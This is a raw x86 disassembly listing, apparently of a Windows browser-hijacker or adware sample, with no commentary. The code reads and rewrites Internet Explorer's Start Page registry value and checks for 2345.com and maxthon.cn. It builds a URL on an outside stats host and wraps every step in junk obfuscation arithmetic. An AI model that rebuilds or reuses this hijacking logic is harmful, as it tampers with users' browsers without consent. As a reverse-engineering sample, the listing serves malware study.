mov dword [ebp - 0x140], ecx
mov ecx, dword [0x44ed70]
mov byte [ebp - 0x134], al
mov dword [0x45dbe8], edi
mov dword [ebp - 0x138], ecx
xor eax, eax
mov ecx, 0x3c
lea edi, [ebp - 0x133]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xa
mov esi, str.SoftwareMicrosoftInternet_ExplorerMain
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
mov eax, edx
cdq
movsw word es:[edi], word [esi]
mov esi, eax
mov eax, dword [0x45dbcc]
push 2
mov dword [ebp - 0x10e8], edx
cdq
push 0xbeb5aaf
push edx
push eax
mov dword [ebp - 0x111c], 0
call fcn.004305f0
push 2
mov edi, eax
push 0xbeb5aaf
mov ecx, dword [ebp - 0x1128]
mov edx, dword [ebp - 0x112c]
push ecx
push edx
call fcn.004305f0
push 1
add edi, eax
mov eax, dword [ebp - 0x10e8]
push 0xba7a7bcd
push eax
push esi
call fcn.004305f0
mov ecx, dword [ebp - 0x10e8]
push 2
push 0x1b912b5c
push ecx
push esi
sub edi, eax
call fcn.004305f0
imul ebx, ebx, 0x6d4760f7
mov edx, dword [0x45dbe0]
add edi, eax
imul edx, edx, 0x264da184
lea eax, [ebp - 0x111c]
push eax
push 0xf003f
push 0
lea ecx, [ebp - 0x40]
add edi, ebx
push ecx
add edi, edx
push SysReAllocStringLen
mov dword [0x45dbc4], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x421d13
mov edi, dword [0x45dbe0]
push 1
mov eax, edi
cdq
push 0x388a7f11
push edx
push eax
call fcn.004305f0
mov esi, eax
mov eax, dword [0x45dbc8]
push 2
cdq
push 0x1b912b5c
push edx
push eax
call fcn.004305f0
sub esi, eax
mov eax, dword [0x45dbc4]
push 1
cdq
push 0xeace4fbe
push edx
push eax
call fcn.004305f0
mov ecx, dword [0x45dbe8]
add esi, eax
mov ebx, dword [0x45dbcc]
mov eax, 0x2d0ae8c5
mul ecx
mov eax, ecx
imul ecx, ecx, 0x7672ee00
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 0x1f
add esi, eax
mov eax, dword [0x45dbc8]
mov edx, ebx
imul eax, eax, 0x1b912b5c
imul edx, edx, 0x388a7f11
sub esi, edx
add esi, eax
mov eax, dword [0x45dbdc]
push 1
cdq
push 0xc6fcd893
push edx
sub esi, ecx
push eax
mov dword [0x45dbd8], esi
call fcn.004305f0
imul esi, esi, 0x7672ee00
mov ecx, eax
mov eax, 0x1f64bb9f
mul edi
imul edi, edi, 0x3053d3f1
shr edx, 0x1c
sub ecx, edx
mov eax, 0x2d0ae8c5
mul dword [0x45dbd0]
mov eax, dword [0x45dbd0]
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 0x1f
add ecx, eax
mov eax, 0x45291d0f
imul dword [0x45dbe4]
mov eax, dword [0x45dbd0]
add ecx, edi
sar edx, 0x1d
mov edi, edx
add ecx, edx
shr edi, 0x1f
add edi, ecx
add edi, esi
push 2
mov dword [0x45dbc8], edi
mov dword [ebp - 0x10c8], 0x104
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov esi, eax
mov eax, dword [0x45dbe4]
push 2
cdq
push 0x1b912b5c
push edx
push eax
call fcn.004305f0
imul edi, edi, 0x3903276d
add esi, eax
mov eax, 0x1f64bb9f
mul ebx
imul ebx, ebx, 0x74f4f79a
mov eax, dword [0x45dbc4]
imul eax, eax, 0x7672ee00
shr edx, 0x1c
sub esi, edx
lea ecx, [ebp - 0x10c8]
push ecx
mov ecx, dword [ebp - 0x111c]
sub esi, edi
add esi, eax
lea edx, [ebp - 0x144]
push edx
lea eax, [ebp - 0x10d4]
push eax
push 0
push str.Start_Page
add esi, ebx
push ecx
mov dword [0x45dbdc], esi
mov dword [ebp - 0x10d4], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x421d13
mov eax, dword [0x45dbc8]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov ebx, eax
mov eax, dword [0x45dbd8]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
sub ebx, eax
mov eax, dword [0x45dbe0]
push 1
cdq
push 0xba7a7bcd
push edx
push eax
call fcn.004305f0
add ebx, eax
mov edi, dword [0x45dbc4]
mov eax, 0x1f64bb9f
mul dword [0x45dbd0]
shr edx, 0x1c
sub ebx, edx
mov ecx, dword [0x45dbd4]
mov eax, 0x9a168f41
mul dword [0x45dbdc]
shr edx, 0x1f
add ebx, edx
mov edx, edi
imul edx, edx, 0x1531b042
sub ebx, edx
mov eax, 0x45291d0f
imul ecx
mov eax, dword [0x571b18]
sar edx, 0x1d
mov esi, edx
shr esi, 0x1f
add ebx, edx
add esi, ebx
test eax, eax
mov dword [0x45dbcc], esi
jne 0x421d1f
lea eax, [ebp - 0x144]
push str..2345.com
push eax
call fcn.0040d160
add esp, 8
test eax, eax
jne 0x421c64
lea ecx, [ebp - 0x144]
push str..2345.COM
push ecx
call fcn.0040d160
add esp, 8
test eax, eax
je 0x421d13
mov eax, dword [0x45dbd4]
cdq
mov esi, eax
mov eax, dword [0x45dbd8]
push 2
mov edi, edx
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov ebx, eax
mov eax, dword [0x45dbcc]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
push 1
push 0xba7a7bcd
push edi
push esi
add ebx, eax
call fcn.004305f0
push 2
push 0x1b912b5c
push edi
push esi
sub ebx, eax
call fcn.004305f0
mov edx, dword [0x45dbdc]
add ebx, eax
imul edx, edx, 0x6d4760f7
mov eax, dword [0x45dbe0]
imul eax, eax, 0x264da184
lea ecx, [ebp - 0x144]
push ecx
add ebx, edx
add ebx, eax
push str.http:__Stat.wammE.cn_c8C_Gl_cNzz60.html_HomePage_s
push 0x5605e8
mov dword [0x45dbc4], ebx
mov dword [0x571b18], 1
call fcn.0043069a
push 0x132db2c
call sym.CallDll.exe_int___cdecl_pro_cess3_int_
add esp, 0x10
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [0x45dbc4]
mov esi, dword [0x45dbcc]
mov eax, dword [0x45dbd0]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov ebx, eax
mov eax, dword [0x45dbe4]
push 2
cdq
push 0x1b912b5c
push edx
push eax
call fcn.004305f0
imul edi, edi, 0x7672ee00
add ebx, eax
mov eax, 0x1f64bb9f
mul esi
imul esi, esi, 0x74f4f79a
mov eax, dword [0x45dbc8]
imul eax, eax, 0x3903276d
shr edx, 0x1c
sub ebx, edx
mov edx, dword [ebp - 0x111c]
sub ebx, eax
add ebx, edi
add ebx, esi
push edx
mov dword [0x45dbdc], ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [0x45dbdc]
push 1
cdq
push 0xc6fcd893
push edx
push eax
call fcn.004305f0
mov ecx, dword [0x45dbe0]
mov esi, eax
mov edi, dword [0x45dbd0]
mov eax, 0x1f64bb9f
mul ecx
imul ecx, ecx, 0x3053d3f1
shr edx, 0x1c
sub esi, edx
mov eax, 0x2d0ae8c5
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 0x1f
add esi, eax
add esi, ecx
mov ecx, dword [0x45dbe4]
mov eax, 0x45291d0f
imul ecx
sar edx, 0x1d
mov eax, edx
add esi, edx
shr eax, 0x1f
add eax, esi
mov esi, dword [0x45dbd8]
mov edx, esi
imul edx, edx, 0x7672ee00
add eax, edx
mov dword [0x45dbc8], eax
push 2
mov eax, ecx
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov ebx, eax
mov eax, edi
push 0xfffffffffffffffe
cdq
push 0x45858433
push edx
push eax
call fcn.004305f0
mov edi, eax
mov eax, dword [0x45dbcc]
push 2
cdq
push 0x1b912b5c
push edx
push eax
sub edi, ebx
call fcn.004305f0
imul esi, esi, 0x1b912b5c
add edi, eax
mov eax, 0x9a168f41
mul dword [0x45dbc4]
mov eax, dword [0x45dbd4]
imul eax, eax, 0x7114fe22
shr edx, 0x1f
add edi, edx
sub edi, esi
add edi, eax
mov eax, dword [ebp - 0x10e0]
lea edx, [ebp - 0x10f4]
push edx
mov dword [0x45dbe4], edi
mov ecx, dword [eax]
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x10f4]
push eax
call fcn.004263e0
mov esi, dword [0x45dbe8]
mov ebx, eax
push 2
mov eax, esi
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
imul esi, esi, 0x1531b042
mov ecx, dword [0x45dbc4]
imul ecx, ecx, 0xf414a551
sub ecx, eax
mov eax, 0x9a168f41
mul dword [0x45dbd0]
shr edx, 0x1f
sub ecx, edx
sub ecx, esi
mov esi, dword [0x45dbd8]
mov eax, 0x45291d0f
imul esi
mov eax, dword [0x45dbe0]
sar edx, 0x1d
add ecx, edx
mov edi, edx
mov edx, dword [0x45dbe4]
imul edx, edx, 0x7d86eec7
shr edi, 0x1f
add edi, ecx
sub edi, edx
test ebx, ebx
lea ecx, [edi + eax - 0x7672ee00]
mov dword [0x45dbd0], ecx
je 0x421fd0
mov edi, str.about:blank
mov esi, ebx
mov ecx, 0xc
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x421fca
push 1
cdq
push 0x388a7f11
push edx
push eax
call fcn.004305f0
mov esi, dword [0x45dbc8]
mov edi, eax
push 2
mov eax, esi
cdq
push 0x1b912b5c
push edx
push eax
call fcn.004305f0
sub edi, eax
mov eax, dword [0x45dbc4]
push 1
cdq
push 0xeace4fbe
push edx
push eax
call fcn.004305f0
imul esi, esi, 0x1b912b5c
mov ecx, dword [0x45dbe8]
add edi, eax
mov eax, 0x2d0ae8c5
mul ecx
mov eax, ecx
imul ecx, ecx, 0x7672ee00
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [0x45dbcc]
imul edx, edx, 0x388a7f11
shr eax, 0x1f
add edi, eax
sub edi, edx
add edi, esi
sub edi, ecx
push 1
mov dword [0x45dbd8], edi
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10e0]
mov ecx, dword [eax]
lea edx, [ebp - 0x10f4]
push edx
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x10f4]
push eax
call fcn.004263e0
mov ebx, eax
mov esi, dword [0x45dbd8]
mov eax, dword [0x45dbe8]
push 1
cdq
push 0xba7a7bcd
push edx
push eax
call fcn.004305f0
imul esi, esi, 0x3903276d
mov ecx, dword [0x45dbd0]
mov edx, dword [0x45dbd4]
sub edx, ecx
imul edx, edx, 0x2b57abfe
mov edi, eax
add edi, edx
mov eax, 0x9a168f41
mul ecx
mov eax, dword [0x45dbc8]
mov ecx, dword [0x45dbcc]
imul eax, eax, 0x1531b042
imul ecx, ecx, 0x7672ee00
shr edx, 0x1f
sub edi, edx
sub edi, eax
push 4
sub edi, esi
sub edi, ecx
push str.http
push ebx
mov dword [0x45dbe0], edi
call fcn.00431840
add esp, 0xc
test eax, eax
je 0x42228f
push 4
push str.HTTP
push ebx
call fcn.00431840
add esp, 0xc
test eax, eax
je 0x42228f
push 4
push str.www.
push ebx
call fcn.00431840
add esp, 0xc
test eax, eax
je 0x42228f
push 4
push str.WWW.
push ebx
call fcn.00431840
add esp, 0xc
test eax, eax
je 0x42228f
push str.http:
push ebx
call fcn.0040d160
add esp, 8
test eax, eax
jne 0x4220dd
push str.HTTP:
push ebx
call fcn.0040d160
add esp, 8
test eax, eax
jne 0x4220dd
push str.www.
push ebx
call fcn.0040d160
add esp, 8
test eax, eax
jne 0x4220dd
push str.WWW.
push ebx
call fcn.0040d160
add esp, 8
test eax, eax
je 0x42228f
mov eax, dword [0x45dbdc]
push 0xfffffffffffffffe
cdq
push 0xc77580ef
push edx
push eax
call fcn.004305f0
mov esi, dword [0x45dbd8]
mov edx, dword [0x45dbd0]
add edx, esi
imul edx, edx, 0x264da184
mov edi, eax
mov eax, dword [0x45dbc8]
push 2
sub edi, edx
cdq
push 0x1b912b5c
push edx
push eax
call fcn.004305f0
add edi, eax
push 1
mov eax, esi
cdq
push 0xc6fcd893
push edx
push eax
call fcn.004305f0
imul esi, esi, 0x1b912b5c
sub edi, eax
mov eax, dword [0x45dbd4]
imul eax, eax, 0x7672ee00
add edi, esi
sub edi, eax
push str.http:
push ebx
mov dword [0x45dbe8], edi
call fcn.0040d160
add esp, 8
test eax, eax
je 0x42223b
push str.http:
jmp 0x422284
push 0xc6fcd893
push edx
push eax
call fcn.004305f0
mov edi, eax
mov ecx, dword [0x45dbe4]
mov eax, 0x1f64bb9f
mul ebx
imul ebx, ebx, 0x3053d3f1
shr edx, 0x1c
sub edi, edx
mov eax, 0x2d0ae8c5
mul esi
sub esi, edx
shr esi, 1
add esi, edx
mov eax, 0x45291d0f
imul ecx
mov eax, dword [0x45dbd8]
imul eax, eax, 0x7672ee00
shr esi, 0x1f
sar edx, 0x1d
add edi, esi
mov ecx, edx
add edi, ebx
shr ecx, 0x1f
add edi, edx
add ecx, edi
add ecx, eax
push str.startup.exe
mov dword [0x45dbc8], ecx
call fcn.0040f490
add esp, 4
test eax, eax
jle 0x421446
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 5
je 0x4221f6
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10fc]
test eax, eax
mov byte [ebp - 4], 4
je 0x42220a
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 2
je 0x42221e
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10e4]
test eax, eax
mov byte [ebp - 4], 1
je 0x42322d
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x42322d
push str.HTTP:
push ebx
call fcn.0040d160
add esp, 8
test eax, eax
je 0x422254
push str.HTTP:
jmp 0x422284
push str.www.
push ebx
call fcn.0040d160
add esp, 8
test eax, eax
je 0x42226d
push str.www.
jmp 0x422284
push str.WWW.
push ebx
call fcn.0040d160
add esp, 8
test eax, eax
je 0x42228f
push str.WWW.
push ebx
call fcn.0040d160
add esp, 8
mov ebx, eax
mov eax, dword [0x45dbd8]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov dword [ebp - 0x10c8], eax
mov eax, dword [0x45dbd4]
cdq
mov esi, eax
mov eax, dword [0x45dbcc]
push 2
mov edi, edx
cdq
push 0xbeb5aaf
push edx
push eax
mov dword [ebp - 0x10e8], edi
call fcn.004305f0
push 1
push 0xba7a7bcd
push edi
push esi
mov dword [ebp - 0x10d4], eax
call fcn.004305f0
mov ecx, dword [ebp - 0x10d4]
push 2
push 0x1b912b5c
mov edx, edi
push edx
sub ecx, eax
push esi
mov dword [ebp - 0x10d4], ecx
call fcn.004305f0
mov ecx, dword [ebp - 0x10d4]
mov esi, dword [ebp - 0x10c8]
add ecx, eax
mov eax, dword [0x45dbdc]
imul eax, eax, 0x6d4760f7
add eax, esi
mov esi, dword [0x45dbe0]
mov edx, dword [0x44ecd4]
imul esi, esi, 0x264da184
add eax, ecx
add esi, eax
xor eax, eax
mov byte [ebp - 0x8c4], 0
mov ecx, 0xff
lea edi, [ebp - 0x8c3]
rep stosd dword es:[edi], eax
mov ecx, dword [str.fdfdadsafdfghfjkt]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x44ecd8]
mov dword [ebp - 0x4c4], ecx
mov ecx, dword [0x44ecdc]
mov dword [ebp - 0x4c0], edx
mov dx, word [0x44ece0]
mov dword [ebp - 0x4bc], eax
mov dword [ebp - 0x4b8], ecx
xor eax, eax
mov word [ebp - 0x4b4], dx
mov ecx, 0x7b
lea edi, [ebp - 0x4b2]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, dword [0x45dbc8]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
mov dword [0x45dbc4], esi
call fcn.004305f0
mov edi, eax
mov eax, dword [0x45dbe0]
push 1
cdq
push 0xba7a7bcd
push edx
push eax
call fcn.004305f0
imul esi, esi, 0x1531b042
add edi, eax
mov eax, 0x1f64bb9f
mul dword [0x45dbd0]
shr edx, 0x1c
sub edi, edx
mov eax, 0x9a168f41
mul dword [0x45dbdc]
shr edx, 0x1f
add edi, edx
mov eax, 0x45291d0f
imul dword [0x45dbd4]
mov eax, dword [ebp - 0x10c8]
sub edi, esi
sar edx, 0x1d
mov esi, edx
add edi, edx
shr esi, 0x1f
add esi, edi
sub esi, eax
mov eax, ebx
mov dword [0x45dbcc], esi
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x422415
sub eax, edi
mov dword [ebp - 0x10d4], eax
je 0x42255d
push str.http:__
push ebx
call fcn.0040d160
add esp, 8
test eax, eax
jne 0x422542
push str.HTTP:__
push ebx
call fcn.0040d160
add esp, 8
test eax, eax
jne 0x422542
push str.www.
push ebx
call fcn.0040d160
add esp, 8
test eax, eax
jne 0x422542
push str.WWW.
push ebx
call fcn.0040d160
add esp, 8
test eax, eax
jne 0x422542
push str..COM
push ebx
call fcn.0040d160
add esp, 8
test eax, eax
jne 0x422542
push str..com
push ebx
call fcn.0040d160
add esp, 8
test eax, eax
jne 0x422542
push str..NET
push ebx
call fcn.0040d160
add esp, 8
test eax, eax
jne 0x422542
push str..net
push ebx
call fcn.0040d160
add esp, 8
test eax, eax
jne 0x422542
push str..ORG
push ebx
call fcn.0040d160
add esp, 8
test eax, eax
jne 0x422542
push str..org
push ebx
call fcn.0040d160
add esp, 8
test eax, eax
jne 0x422542
push 0x44ec8c
push ebx
call fcn.0040d160
add esp, 8
test eax, eax
jne 0x422542
push 0x44ec88
push ebx
call fcn.0040d160
add esp, 8
test eax, eax
jne 0x422542
push str..htm
push ebx
call fcn.0040d160
add esp, 8
test eax, eax
jne 0x422542
push str..HTM
push ebx
call fcn.0040d160
add esp, 8
test eax, eax
je 0x422557
push ebx
lea eax, [ebp - 0x4c4]
push str.__s_
push eax
call fcn.0043069a
add esp, 0xc
mov esi, dword [0x45dbcc]
mov eax, dword [0x45dbd4]
cdq
mov edi, eax
mov eax, dword [0x45dbd8]
push 2
mov dword [ebp - 0x10e8], edx
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov dword [ebp - 0x10d4], eax
push 2
mov eax, esi
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov edx, dword [ebp - 0x10e8]
mov ecx, dword [ebp - 0x10d4]
push 1
push 0xba7a7bcd
push edx
add ecx, eax
push edi
mov dword [ebp - 0x10d4], ecx
call fcn.004305f0
mov ecx, dword [ebp - 0x10d4]
push 2
sub ecx, eax
mov eax, dword [ebp - 0x10e8]
push 0x1b912b5c
push eax
push edi
mov dword [ebp - 0x10d4], ecx
call fcn.004305f0
mov ecx, dword [ebp - 0x10d4]
add ecx, eax
mov eax, dword [0x45dbdc]
imul eax, eax, 0x6d4760f7
add ecx, eax
mov eax, dword [0x45dbe0]
imul eax, eax, 0x264da184
push str.C:WINDoWS_system_sdAx.txt
add ecx, eax
push 0x400
mov dword [0x45dbc4], ecx
lea ecx, [ebp - 0x8c4]
push ecx
push 0x44de89
push str.rtgbh
push str.asdf
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test ebx, ebx
je 0x42276a
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x422635
sub eax, edx
mov dword [ebp - 0x10d4], eax
je 0x42276a
mov edi, str.about:blank
mov esi, ebx
mov ecx, 0xc
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x42276a
lea eax, [ebp - 0x144]
push eax
push ebx
call fcn.0040d160
add esp, 8
test eax, eax
jne 0x4226db
lea ecx, [ebp - 0x144]
push ebx
push ecx
call fcn.0040d160
add esp, 8
test eax, eax
jne 0x4226db
mov edi, str.http:__i.maxthon.cn_
mov esi, ebx
nop
mov dl, byte [esi]
mov cl, byte [edi]
mov al, dl
cmp dl, cl
jne 0x4226b8
test al, al
je 0x4226b4
mov cl, byte [esi + 1]
mov dl, byte [edi + 1]
mov al, cl
cmp cl, dl
jne 0x4226b8
add esi, 2
add edi, 2
test al, al
jne 0x422690
xor eax, eax
jmp 0x4226bd
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4226db
lea edx, [ebp - 0x4c4]
push edx
lea eax, [ebp - 0x8c4]
push eax
call fcn.0040d160
add esp, 8
test eax, eax
je 0x4226ef
lea ecx, [ebp - 0x1c4]
push ecx
push ebx
call fcn.0040d160
add esp, 8
test eax, eax
je 0x42276a
mov esi, dword [0x45dbe8]
push 2
mov eax, esi
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
imul esi, esi, 0x1531b042
mov edi, dword [0x45dbc4]
mov ecx, edi
imul ecx, ecx, 0xf414a551
sub ecx, eax
mov eax, 0x9a168f41
mul dword [0x45dbd0]
shr edx, 0x1f
sub ecx, edx
mov eax, 0x45291d0f
imul dword [0x45dbd8]
sar edx, 0x1d
sub ecx, esi
add ecx, edx
mov eax, edx
mov edx, dword [0x45dbe0]
shr eax, 0x1f
add eax, ecx
mov ecx, dword [0x45dbe4]
imul ecx, ecx, 0x7d86eec7
sub eax, ecx
lea eax, [eax + edx - 0x7672ee00]
mov dword [0x45dbd0], eax
jmp 0x422823
push 0
call fcn.00430cd7
mov dword [0x571b14], eax
mov eax, dword [0x571b10]
add esp, 4
inc eax
mov dword [0x571b10], eax
mov eax, dword [0x45dbe0]
push 1
cdq
push 0x388a7f11
push edx
push eax
call fcn.004305f0
mov esi, dword [0x45dbc8]
mov edi, eax
push 2
mov eax, esi
cdq
push 0x1b912b5c
push edx
push eax
call fcn.004305f0
sub edi, eax
mov eax, dword [0x45dbc4]
push 1
cdq
push 0xeace4fbe
push edx
push eax
call fcn.004305f0
imul esi, esi, 0x1b912b5c
mov ecx, dword [0x45dbe8]
add edi, eax
mov eax, 0x2d0ae8c5
mul ecx
mov eax, ecx
imul ecx, ecx, 0x7672ee00
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [0x45dbcc]
imul edx, edx, 0x388a7f11
shr eax, 0x1f
add edi, eax
mov eax, dword [ebp - 0x10e0]
sub edi, edx
mov edx, dword [ebp - 0x10cc]
add edi, esi
sub edi, ecx
push edx
mov dword [0x45dbd8], edi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x9c]
mov edi, dword [0x45dbc4]
mov eax, dword [0x45dbdc]
cdq
mov ebx, eax
mov ecx, edx
mov eax, 0x1f64bb9f
mul dword [0x45dbe0]
push 1
push 0xc6fcd893
push ecx
shr edx, 0x1c
push ebx
mov dword [ebp - 0x1108], ecx
mov esi, edx
call fcn.004305f0
mov ecx, dword [0x45dbd0]
sub eax, esi
mov dword [ebp - 0x10cc], eax
mov eax, 0x2d0ae8c5
mul ecx
mov eax, dword [ebp - 0x10cc]
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 0x1f
add eax, ecx
mov ecx, eax
mov eax, dword [0x45dbe0]
imul eax, eax, 0x3053d3f1
add ecx, eax
mov eax, 0x45291d0f
imul dword [0x45dbe4]
mov eax, dword [0x45dbd8]
imul eax, eax, 0x7672ee00
sar edx, 0x1d
mov esi, edx
shr esi, 0x1f
add ecx, edx
add esi, ecx
add esi, eax
mov eax, dword [ebp - 0x10f0]
test eax, eax
mov dword [0x45dbc8], esi
je 0x422fb0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4228c1
sub eax, edx
mov dword [ebp - 0x10cc], eax
je 0x422fb0
mov ecx, dword [ebp - 0x1108]
push 1
push 0x388a7f11
push ecx
push ebx
call fcn.004305f0
mov edx, dword [ebp - 0x1108]
push 2
push 0x1b912b5c
push edx
push ebx
mov dword [ebp - 0x10cc], eax
call fcn.004305f0
imul edi, edi, 0x4f22272
imul esi, esi, 0x264da184
mov ecx, eax
mov eax, dword [ebp - 0x10cc]
sub ecx, eax
mov eax, dword [0x45dbe8]
imul eax, eax, 0x1b912b5c
add ecx, eax
add edi, dword [0x45dbe4]
add edi, ecx
push 0xffffffffffffffff
lea edx, [esi + edi + 0x7672ee00]
push 0x5616f0
lea ecx, [ebp - 0x1164]
mov dword [0x45dbd4], edx
call fcn.00406ef0
mov edi, dword [0x45dbe8]
push 1
mov eax, edi
cdq
push 0xba7a7bcd
push edx
push eax
mov byte [ebp - 4], 7
call fcn.004305f0
mov edx, dword [0x45dbd0]
mov ecx, eax
mov eax, dword [0x45dbd4]
sub eax, edx
imul eax, eax, 0x2b57abfe
add ecx, eax
mov ebx, dword [0x45dbd8]
mov eax, 0x9a168f41
mul edx
shr edx, 0x1f
sub ecx, edx
mov edx, dword [0x45dbc8]
mov esi, dword [ebp - 0x10f0]
imul edx, edx, 0x1531b042
sub ecx, edx
mov edx, dword [0x45dbcc]
mov eax, ebx
imul edx, edx, 0x7672ee00
imul eax, eax, 0x3903276d
sub ecx, eax
sub ecx, edx
mov dword [0x45dbe0], ecx
mov dword [ebp - 0x10c8], 0x560ee8
mov edi, edi
mov al, byte [esi]
mov edx, dword [ebp - 0x10c8]
mov byte [ebp - 0x10cd], al
cmp al, byte [edx]
jne 0x422a08
test al, al
je 0x422a04
mov al, byte [esi + 1]
mov byte [ebp - 0x10cd], al
cmp al, byte [edx + 1]
jne 0x422a08
add edx, 2
add esi, 2
test al, al
mov dword [ebp - 0x10c8], edx
jne 0x4229d0
xor eax, eax
jmp 0x422a0d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x422f9b
mov eax, dword [0x45dbc8]
cdq
mov esi, eax
mov dword [ebp - 0x1110], edx
mov eax, ecx
cdq
mov dword [ebp - 0x1104], eax
push 2
mov dword [ebp - 0x1100], edx
mov eax, ebx
cdq
push 0xbeb5aaf
push edx
push eax
mov dword [ebp - 0x1114], esi
call fcn.004305f0
mov ecx, dword [ebp - 0x1110]
push 2
push 0xbeb5aaf
push ecx
push esi
mov dword [ebp - 0x10cc], eax
call fcn.004305f0
mov ecx, dword [ebp - 0x10cc]
sub eax, ecx
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x10cc], eax
mov eax, 0x1f64bb9f
mul dword [0x45dbd0]
mov eax, dword [ebp - 0x10cc]
shr edx, 0x1c
push 1
sub eax, edx
mov edx, dword [ebp - 0x1100]
push 0xba7a7bcd
push edx
push ecx
mov dword [ebp - 0x10cc], eax
call fcn.004305f0
mov ecx, dword [ebp - 0x10cc]
add ecx, eax
mov eax, 0x9a168f41
mul dword [0x45dbdc]
shr edx, 0x1f
add ecx, edx
mov edx, dword [0x45dbc4]
imul edx, edx, 0x1531b042
sub ecx, edx
mov eax, 0x45291d0f
imul dword [0x45dbd4]
mov eax, dword [ebp - 0x10f0]
sar edx, 0x1d
mov esi, edx
add ecx, edx
shr esi, 0x1f
add esi, ecx
mov dword [0x45dbcc], esi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x422af3
sub eax, ecx
cmp eax, 0x800
jae 0x422b1f
mov ecx, dword [ebp - 0x10f0]
mov edx, 0x560ee8
mov edi, edi
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x422b10
jmp 0x422bd7
mov eax, dword [0x45dbc4]
push 1
cdq
push 0xeace4fbe
push edx
push eax
call fcn.004305f0
mov ecx, dword [ebp - 0x1104]
push 1
mov ebx, eax
mov eax, dword [ebp - 0x1100]
push 0x388a7f11
push eax
push ecx
call fcn.004305f0
mov edx, dword [ebp - 0x1110]
push 2
push 0x1b912b5c
add ebx, eax
mov eax, dword [ebp - 0x1114]
push edx
push eax
call fcn.004305f0
imul esi, esi, 0x388a7f11
sub ebx, eax
mov eax, 0x2d0ae8c5
mul edi
mov eax, dword [0x45dbc8]
mov ecx, edi
imul eax, eax, 0x1b912b5c
imul edi, edi, 0x7672ee00
sub ecx, edx
shr ecx, 1
add ecx, edx
mov edx, dword [ebp - 0x10f0]
shr ecx, 0x1f
add ebx, ecx
sub ebx, esi
add ebx, eax
push 0x7ff
sub ebx, edi
push edx
xor eax, eax
mov ecx, 0x200
mov edi, 0x560ee8
push 0x560ee8
mov dword [0x45dbd8], ebx
rep stosd dword es:[edi], eax
call fcn.00431710
mov esi, dword [0x45dbcc]
mov ebx, dword [0x45dbd8]
add esp, 0xc
mov eax, dword [0x45dbe4]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov edi, eax
mov eax, dword [0x45dbd0]
push 0xfffffffffffffffe
cdq
push 0x45858433
push edx
push eax
call fcn.004305f0
sub eax, edi
mov edi, eax
push 2
mov eax, esi
cdq
push 0x1b912b5c
push edx
push eax
call fcn.004305f0
imul ebx, ebx, 0x1b912b5c
add edi, eax
mov eax, 0x9a168f41
mul dword [0x45dbc4]
mov eax, dword [0x45dbd4]
imul eax, eax, 0x7114fe22
shr edx, 0x1f
add edi, edx
sub edi, ebx
add edi, eax
mov eax, 0x5605e8
mov dword [0x45dbe4], edi
lea ecx, [eax + 1]
jmp 0x422c50
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x422c50
sub eax, ecx
cmp eax, 5
jbe 0x422f9b
mov eax, dword [ebp - 0x10f0]
push str.ConfigL6
push eax
call fcn.004050b0
add esp, 8
test eax, eax
jne 0x422f9b
mov eax, dword [0x45dbdc]
push 0xfffffffffffffffe
cdq
push 0xc77580ef
push edx
push eax
call fcn.004305f0
mov esi, dword [0x45dbd8]
mov ecx, dword [0x45dbd0]
